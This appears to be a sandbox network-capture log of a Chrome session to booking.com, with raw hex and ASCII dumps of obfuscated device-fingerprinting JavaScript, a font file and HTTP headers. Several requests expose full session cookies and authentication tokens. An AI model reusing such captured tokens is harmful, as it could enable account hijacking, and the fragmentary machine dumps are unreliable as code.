bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30
2024-11-02 13:00:18 UTC	820	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:18 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Connection: Keep-Alive, close X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT Access-Control-Allow-Origin: * X-Robots-Tag: noindex, nofollow Set-Cookie: thx_guid=744a72dce4585bbd8929764b404ef635; Max-Age=155520000; Version=1; HttpOnly; Path=/; Secure; SameSite=None; P3P: CP=IVAa PSAa Set-Cookie: tmx_guid=AAzmg4WWYG_lEZodme_mOHkrjZUjotsdM-RcKtEW_AnmFDq_Ny0v4QmVTRXJky_b3sasCET3cSQ-iTaS1D-XqSE4xBMpEw; Max-Age=155520000; Version=1; HttpOnly; Path=/; Secure; SameSite=None; Content-Type: text/javascript;charset=UTF-8 Vary: Accept-Encoding Transfer-Encoding: chunked
2024-11-02 13:00:18 UTC	7372	IN	Data Raw: 66 66 66 38 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 64 5f 34 75 3d 74 64 5f 34 75 7c 7c 7b 7d 3b 74 64 5f 34 75 2e 74 64 5f 35 4b 3d 66 75 6e 63 74 69 6f 6e 28 74 64 5f 4c 2c 74 64 5f 43 29 7b 74 72 79 7b 76 61 72 20 74 64 5f 45 3d 5b 22 22 5d 3b 76 61 72 20 74 64 5f 6b 3d 30 3b 66 6f 72 28 76 61 72 20 74 64 5f 4a 3d 30 3b 74 64 5f 4a 3c 74 64 5f 43 2e 6c 65 6e 67 74 68 3b 2b 2b 74 64 5f 4a 29 7b 74 64 5f 45 2e 70 75 73 68 28 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 74 64 5f 4c 2e 63 68 61 72 43 6f 64 65 41 74 28 74 64 5f 6b 29 5e 74 64 5f 43 2e 63 68 61 72 43 6f 64 65 41 74 28 74 64 5f 4a 29 29 29 3b 74 64 5f 6b 2b 2b 3b 0a 69 66 28 74 64 5f 6b 3e 3d 74 64 5f 4c 2e 6c 65 6e 67 74 68 29 7b 74 64 5f 6b 3d 30 3b 7d 7d 72 Data Ascii: fff8(function(){var td_4u=td_4u\|\|{};td_4u.td_5K=function(td_L,td_C){try{var td_E=[""];var td_k=0;for(var td_J=0;td_J<td_C.length;++td_J){td_E.push(String.fromCharCode(td_L.charCodeAt(td_k)^td_C.charCodeAt(td_J)));td_k++;if(td_k>=td_L.length){td_k=0;}}r
2024-11-02 13:00:18 UTC	16384	IN	Data Raw: 65 2e 74 64 5f 66 28 32 37 2c 31 31 29 29 3a 6e 75 6c 6c 29 29 3b 0a 74 64 5f 34 75 2e 74 64 5f 31 44 28 74 64 5f 4f 6f 29 3b 74 64 5f 4f 6f 2e 69 64 3d 28 28 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 37 38 31 66 38 36 39 39 33 31 31 30 34 30 65 61 61 62 36 31 32 33 38 33 38 32 33 33 34 66 34 65 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 37 38 31 66 38 36 39 39 33 31 31 30 34 30 65 61 61 62 36 31 32 33 38 33 38 32 33 33 34 66 34 65 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 34 75 2e 74 64 7a 5f 37 38 31 66 38 36 39 39 33 31 31 30 34 30 65 61 61 62 36 31 32 33 38 33 38 32 33 33 34 66 34 65 2e 74 64 5f 66 28 33 38 2c 31 35 29 29 3a 6e 75 6c 6c 29 3b 0a 74 Data Ascii: e.td_f(27,11)):null));td_4u.td_1D(td_Oo);td_Oo.id=((typeof(td_4u.tdz_781f8699311040eaab61238382334f4e)!=="undefined"&&typeof(td_4u.tdz_781f8699311040eaab61238382334f4e.td_f)!=="undefined")?(td_4u.tdz_781f8699311040eaab61238382334f4e.td_f(38,15)):null);t
2024-11-02 13:00:18 UTC	16384	IN	Data Raw: 30 5c 78 33 34 5c 78 33 35 5c 78 33 36 5c 78 33 35 5c 78 33 31 5c 78 33 35 5c 78 33 33 5c 78 33 34 5c 78 36 33 5c 78 33 36 5c 78 36 31 5c 78 33 30 5c 78 33 37 5c 78 33 35 5c 78 36 33 5c 78 33 34 5c 78 36 32 5c 78 33 34 5c 78 33 32 5c 78 33 30 5c 78 36 36 5c 78 33 30 5c 78 33 36 5c 78 33 32 5c 78 33 37 5c 78 33 34 5c 78 33 32 5c 78 33 30 5c 78 36 32 5c 78 33 34 5c 78 33 31 5c 78 33 31 5c 78 33 30 5c 78 33 35 5c 78 33 34 5c 78 33 34 5c 78 33 37 5c 78 33 33 5c 78 33 30 5c 78 33 37 5c 78 33 37 5c 78 33 32 5c 78 33 34 5c 78 33 34 5c 78 33 32 5c 78 33 30 5c 78 36 34 5c 78 33 34 5c 78 33 35 5c 78 33 34 5c 78 33 33 5c 78 33 30 5c 78 33 33 5c 78 33 34 5c 78 33 30 5c 78 33 36 5c 78 33 34 5c 78 33 31 5c 78 33 37 5c 78 33 35 5c 78 33 36 5c 78 33 30 5c 78 33 33 5c 78 Data Ascii: 0\x34\x35\x36\x35\x31\x35\x33\x34\x63\x36\x61\x30\x37\x35\x63\x34\x62\x34\x32\x30\x66\x30\x36\x32\x37\x34\x32\x30\x62\x34\x31\x31\x30\x35\x34\x34\x37\x33\x30\x37\x37\x32\x34\x34\x32\x30\x64\x34\x35\x34\x33\x30\x33\x34\x30\x36\x34\x31\x37\x35\x36\x30\x33\x
2024-11-02 13:00:18 UTC	16384	IN	Data Raw: 3f 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 2e 74 64 5f 66 28 31 38 30 2c 34 29 29 3a 6e 75 6c 6c 29 2c 69 64 65 6e 74 69 74 79 3a 28 28 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 Data Ascii: ?(td_4u.tdz_20f24b0ee85649f187aae0d6c15e4f0b.td_f(180,4)):null),identity:((typeof(td_4u.tdz_20f24b0ee85649f187aae0d6c15e4f0b)!=="undefined"&&typeof(td_4u.tdz_20f24b0ee85649f187aae0d6c15e4f0b.td_f)!=="undefined")?(td_4u.tdz_20f24b0ee85649f187aae0d6c15e4f0b
2024-11-02 13:00:18 UTC	9010	IN	Data Raw: 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 2e 74 64 5f 66 28 34 36 35 2c 31 30 29 29 3a 6e 75 6c 6c 29 2c 72 3a 2f 28 57 69 6e 64 6f 77 73 20 39 35 7c 57 69 6e 39 35 7c 57 69 6e 64 6f 77 73 5f 39 35 29 2f 7d 2c 7b 73 3a 28 28 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 Data Ascii: f187aae0d6c15e4f0b.td_f(465,10)):null),r:/(Windows 95\|Win95\|Windows_95)/},{s:((typeof(td_4u.tdz_20f24b0ee85649f187aae0d6c15e4f0b)!=="undefined"&&typeof(td_4u.tdz_20f24b0ee85649f187aae0d6c15e4f0b.td_f)!=="undefined")?(td_4u.tdz_20f24b0ee85649f187aae0d6c15e
2024-11-02 13:00:18 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-02 13:00:18 UTC	8192	IN	Data Raw: 38 32 36 36 0d 0a 66 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 2e 74 64 5f 66 28 39 2c 35 29 29 3a 6e 75 6c 6c 29 3a 69 66 28 74 68 69 73 2e 76 65 72 73 69 6f 6e 53 65 61 72 63 68 53 74 72 69 6e 67 3d 3d 3d 28 28 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 Data Ascii: 8266f(td_4u.tdz_20f24b0ee85649f187aae0d6c15e4f0b)!=="undefined"&&typeof(td_4u.tdz_20f24b0ee85649f187aae0d6c15e4f0b.td_f)!=="undefined")?(td_4u.tdz_20f24b0ee85649f187aae0d6c15e4f0b.td_f(9,5)):null):if(this.versionSearchString===((typeof(td_4u.tdz_20f24b0
2024-11-02 13:00:18 UTC	16384	IN	Data Raw: 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 2e 74 64 5f 66 28 32 36 31 2c 33 29 29 3a 6e 75 6c 6c 29 29 7b 72 65 74 75 72 6e 3b 0a 7d 74 68 69 73 2e 74 64 5f 31 71 3d 28 28 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 Data Ascii: =="undefined")?(td_4u.tdz_20f24b0ee85649f187aae0d6c15e4f0b.td_f(261,3)):null)){return;}this.td_1q=((typeof(td_4u.tdz_20f24b0ee85649f187aae0d6c15e4f0b)!=="undefined"&&typeof(td_4u.tdz_20f24b0ee85649f187aae0d6c15e4f0b.td_f)!=="undefined")?(td_4u.tdz_20f24b
2024-11-02 13:00:18 UTC	8812	IN	Data Raw: 32 5c 78 33 30 5c 78 33 32 5c 78 33 31 5c 78 33 34 5c 78 33 35 5c 78 33 35 5c 78 33 35 5c 78 33 39 5c 78 33 30 5c 78 36 32 5c 78 33 35 5c 78 33 34 5c 78 33 34 5c 78 33 35 5c 78 33 35 5c 78 36 33 5c 78 33 30 5c 78 36 34 5c 78 33 35 5c 78 33 37 5c 78 33 35 5c 78 33 31 5c 78 33 31 5c 78 33 35 5c 78 33 35 5c 78 36 35 5c 78 33 31 5c 78 33 31 5c 78 33 34 5c 78 33 35 5c 78 33 35 5c 78 36 35 5c 78 33 34 5c 78 33 37 5c 78 33 35 5c 78 33 30 5c 78 33 31 5c 78 33 37 5c 78 33 35 5c 78 33 39 5c 78 33 35 5c 78 36 35 5c 78 33 35 5c 78 36 31 5c 78 33 30 5c 78 33 38 5c 78 33 30 5c 78 33 37 5c 78 33 35 5c 78 33 36 5c 78 33 31 5c 78 33 32 5c 78 33 30 5c 78 36 32 5c 78 33 35 5c 78 36 34 5c 78 33 34 5c 78 36 33 5c 78 33 34 5c 78 33 31 5c 78 33 35 5c 78 33 30 5c 78 33 35 5c 78 Data Ascii: 2\x30\x32\x31\x34\x35\x35\x35\x39\x30\x62\x35\x34\x34\x35\x35\x63\x30\x64\x35\x37\x35\x31\x31\x35\x35\x65\x31\x31\x34\x35\x35\x65\x34\x37\x35\x30\x31\x37\x35\x39\x35\x65\x35\x61\x30\x38\x30\x37\x35\x36\x31\x32\x30\x62\x35\x64\x34\x63\x34\x31\x35\x30\x35\x
2024-11-02 13:00:18 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49774	99.86.4.32	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:17 UTC	1399	OUT	GET /js-metric?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQwcnFzME1CN080WmhOMTJJMVFlVFFKTlBZaU4zVnpCLWtKWWc6BFMyNTZCBGNvZGUqEzDd_v3CzqgnOgBCAFiircu5qTI HTTP/1.1 Host: account.booking.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; bkng_ap=U2FsdGVkX19rHEBu7NB9TsVkR6OJKwfTMsB4rkFqG86Z1VBMU74WiNVk2tdncYp1wmL%2BPAwmflh9%0Aj%2FLZjnGztA%3D%3D%0A; bkng_ap_sso_session=eyJib29raW5nX2dsb2JhbCI6eyJkYXRhX3N1YmplY3RfaWQiOiJhYTc5MjgxNi1hZWRlLTQ4YjctODk3MC1iNjc1NDRhZjE0MjEiLCJzZXNzaW9ucyI6W119fQ
2024-11-02 13:00:18 UTC	2039	IN	HTTP/1.1 405 Method Not Allowed Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close server: envoy date: Sat, 02 Nov 2024 13:00:18 GMT allow: POST content-security-policy: frame-ancestors https://.booking.com 'self'; report-uri https://nellie.booking.com/csp-report-uri?type=block&tag=212&pid=0a4f5b710bb40bff&e=UmFuZG9tSVYkc2RlIyh9YSWKtKO5TxgOpTwVTPfHZKNW3Hcrm1RLgcqlyvtE53jUn6z6iAnN-aRjaDL14LAOWoum_fR2eOmt content-security-policy-report-only: base-uri 'none'; connect-src saa.booking.com secure.booking.com reports.booking.com privacyportal-eu.onetrust.com geolocation.onetrust.com cdn.cookielaw.org www.google-analytics.com .perimeterx.net .pxchk.net .px-cdn.net .px-client.net .px-cloud.net 'self' 'report-sample'; default-src .bstatic.com bstatic.com 'self'; frame-src https://www.youtube.com/embed/Vv4w5SmRkss .bstatic.com https://www.google.com bstatic.com www.booking.com secure.booking.com paymentcomponent.booking.com 'self'; img-src 'self' data: www.booking.com graph.facebook.com cdn.cookielaw.org account.booking.com .bstatic.com bstatic.com .static.booking.cn www.google-analytics.com www.google.com stats.g.doubleclick.net .px-cloud.net .perimeterx.net www.gstatic.com; object-src 'none'; report-uri https://nellie.booking.com/csp-report-uri?type=report&tag=213&pid=0a4f5b710bb40bff&e=UmFuZG9tSVYkc2RlIyh9YSWKtKO5TxgOpTwVTPfHZKNW3Hcrm1RLgcqlyvtE53jUn6z6iAnN-aRjaDL14LAOWoum_fR2eOmt; script-src saa.booking. [TRUNCATED] x-xss-protection: 1; mode=block strict-transport-security: max-age=63072000; includeSubDomains; preload X-Cache: Error from cloudfront Via: 1.1 a56d6b55603697d6c44b19d4f907baaa.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA6-C1 X-Amz-Cf-Id: K-0maw1YgOcvpICU6_3zkUty9zi78i6DLqtfgcDZqDxTKh0MMNi3yw==
2024-11-02 13:00:18 UTC	1621	IN	Data Raw: 36 34 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 2d 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 Data Ascii: 64e<!DOCTYPE html><html lang="en"><head><title>405 - Method Not Allowed</title><meta http-equiv="content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compat
2024-11-02 13:00:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49777	18.245.31.53	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:17 UTC	608	OUT	GET /design-assets/assets/v3.58.1/fonts-brand/BookingExtraBold.woff HTTP/1.1 Host: t-cf.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://account.booking.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://cf.bstatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:18 UTC	792	IN	HTTP/1.1 200 OK Content-Type: font/woff Content-Length: 25328 Connection: close Last-Modified: Thu, 20 Jun 2024 11:36:31 GMT x-amz-server-side-encryption: aws:kms x-amz-server-side-encryption-aws-kms-key-id: arn:aws:kms:eu-west-2:339712873537:key/a7c9de2e-1f60-4f87-bbf7-dc4071c8d126 x-amz-version-id: Ecgr7sRxPT6Vb_IlKYJdYizVmeDVUbap Accept-Ranges: bytes Server: AmazonS3 Date: Sat, 02 Nov 2024 04:02:31 GMT ETag: "432478bcd200cf6243007a71e474cb4f" X-Cache: Hit from cloudfront Via: 1.1 085a99da24636ecdd172026920429788.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: crOpgOxn_e6tb4m_xz-pRtP_rP2HO-vH8tQbMAJkgyBxLG9jrz3WJA== Age: 40699 Timing-Allow-Origin: * Access-Control-Allow-Origin: * Access-Control-Expose-Headers: *
2024-11-02 13:00:18 UTC	15592	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 62 f0 00 11 00 00 00 00 e5 b4 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 44 45 46 00 00 52 e4 00 00 00 92 00 00 00 d6 21 29 21 35 47 50 4f 53 00 00 53 78 00 00 0c 73 00 00 41 da 1f b5 56 b5 47 53 55 42 00 00 5f ec 00 00 03 01 00 00 08 4e 99 73 0a 3e 4f 53 2f 32 00 00 01 f8 00 00 00 59 00 00 00 60 68 06 44 c1 63 6d 61 70 00 00 05 88 00 00 03 05 00 00 04 3e e2 76 a0 63 63 76 74 20 00 00 0e 58 00 00 00 bb 00 00 0b f2 22 b7 18 47 66 70 67 6d 00 00 08 90 00 00 03 ab 00 00 06 d7 0a 30 87 36 67 61 73 70 00 00 52 d8 00 00 00 0c 00 00 00 0c 00 07 00 1b 67 6c 79 66 00 00 12 60 00 00 3f 80 00 00 72 9a 5c 26 03 a6 68 65 61 64 00 00 01 80 00 00 00 36 00 00 00 36 1c d7 85 50 68 68 65 61 00 00 01 b8 00 00 00 Data Ascii: wOFFbGDEFR!)!5GPOSSxsAVGSUB_Ns>OS/2Y`hDcmap>vccvt X"Gfpgm06gaspRglyf`?r\&head66Phhea
2024-11-02 13:00:18 UTC	9736	IN	Data Raw: 3a 2d 17 d0 e1 56 b2 b3 54 0c 2c 18 bf db 79 c9 41 ab 58 13 bc fb 6e 1c c4 b8 58 63 91 a8 c9 8c 10 67 25 72 2e 2e ef 35 e2 53 46 6c 34 ea 4c 79 8b 5c 97 d7 10 5f af 4a 0e e5 3d 6b 71 04 c0 35 95 fb 3e 7f b6 cc a7 2b 31 58 30 71 be 68 f2 96 a1 d1 53 5b eb fb 3d f8 dc 3c 46 81 b5 81 f3 8b 33 bc 25 28 a0 17 b6 3a 2a 2a 34 98 ca 05 a3 06 de d4 d0 d5 e7 01 27 ab 42 6e 53 de 49 ac 72 5a 46 28 8b c6 27 95 11 4a ef d7 64 02 7e 21 41 d0 98 f4 99 65 80 52 69 79 05 d1 5f 3e d6 eb 6f f5 04 aa c2 ab eb c2 81 5a f3 a7 f3 67 76 6f c3 b7 6c 33 5a 3b 3a 5a db 77 a9 73 d7 d8 2c 6e 8b c7 1c b3 35 7b fd ed 41 c3 40 a1 06 ff e6 82 dd 5f 1c d6 ab d5 1a 9f 6f 55 47 cb 78 ba 3c d7 ff e1 27 ce f5 d1 f9 73 7d f3 ff c9 5c bf 9c 86 5d 38 d5 67 be 50 4e c3 2e 9c ea 23 86 e6 b8 99 55 Data Ascii: :-VT,yAXnXcg%r..5SFl4Ly\_J=kq5>+1X0qhS[=<F3%(:**4'BnSIrZF('Jd~!AeRiy_>oZgvol3Z;:Zws,n5{A@_oUGx<'s}\]8gPN.#U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49778	108.156.46.75	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:17 UTC	882	OUT	GET /asset.76f4cfe389ea593cf33909bbcedb7949.js HTTP/1.1 Host: saa.booking.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30
2024-11-02 13:00:18 UTC	637	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 39786 Connection: close date: Sat, 02 Nov 2024 13:00:18 GMT cache-control: public, max-age=31536000 etag: 76f4cfe389ea593cf33909bbcedb7949 server: Perl Dancer2 0.300004 expires: Tue, 31 Dec 2030 23:30:45 GMT last-modified: Mon, 30 Sep 2013 09:36:48 GMT x-xss-protection: 1; mode=block strict-transport-security: max-age=63072000; includeSubDomains; preload X-Cache: Miss from cloudfront Via: 1.1 987140ac9e21c2b752b3eb802ce4a7a0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: LHR50-P2 X-Amz-Cf-Id: -UoRZXNehwfxuCSY4VVlz0wock7kMIKGNjx9juMCmHo1PSJmISBlvw==
2024-11-02 13:00:18 UTC	7770	IN	Data Raw: 76 61 72 20 24 6a 73 63 6f 6d 70 3d 7b 73 63 6f 70 65 3a 7b 7d 7d 3b 24 6a 73 63 6f 6d 70 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 6b 2c 6d 2c 6c 29 7b 69 66 28 6c 2e 67 65 74 7c 7c 6c 2e 73 65 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 45 53 33 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 67 65 74 74 65 72 73 20 61 6e 64 20 73 65 74 74 65 72 73 2e 22 29 3b 6b 21 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 26 26 6b 21 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 26 26 28 6b 5b 6d 5d 3d Data Ascii: var $jscomp={scope:{}};$jscomp.defineProperty="function"==typeof Object.defineProperties?Object.defineProperty:function(k,m,l){if(l.get\|\|l.set)throw new TypeError("ES3 does not support getters and setters.");k!=Array.prototype&&k!=Object.prototype&&(k[m]=
2024-11-02 13:00:18 UTC	16384	IN	Data Raw: 65 78 63 6c 75 64 65 43 70 75 43 6c 61 73 73 7c 7c 61 2e 70 75 73 68 28 74 68 69 73 2e 67 65 74 4e 61 76 69 67 61 74 6f 72 43 70 75 43 6c 61 73 73 28 29 29 3b 72 65 74 75 72 6e 20 61 7d 2c 70 6c 61 74 66 6f 72 6d 4b 65 79 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 65 78 63 6c 75 64 65 50 6c 61 74 66 6f 72 6d 7c 7c 61 2e 70 75 73 68 28 74 68 69 73 2e 67 65 74 4e 61 76 69 67 61 74 6f 72 50 6c 61 74 66 6f 72 6d 28 29 29 3b 72 65 74 75 72 6e 20 61 7d 2c 64 6f 4e 6f 74 54 72 61 63 6b 4b 65 79 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 65 78 63 6c 75 64 65 44 6f 4e 6f 74 54 72 61 63 6b 7c 7c 61 2e 70 75 73 68 28 74 68 69 73 2e 67 65 74 44 6f 4e 6f 74 54 72 61 63 6b 28 29 29 3b 72 65 74 75 72 Data Ascii: excludeCpuClass\|\|a.push(this.getNavigatorCpuClass());return a},platformKey:function(a){this.options.excludePlatform\|\|a.push(this.getNavigatorPlatform());return 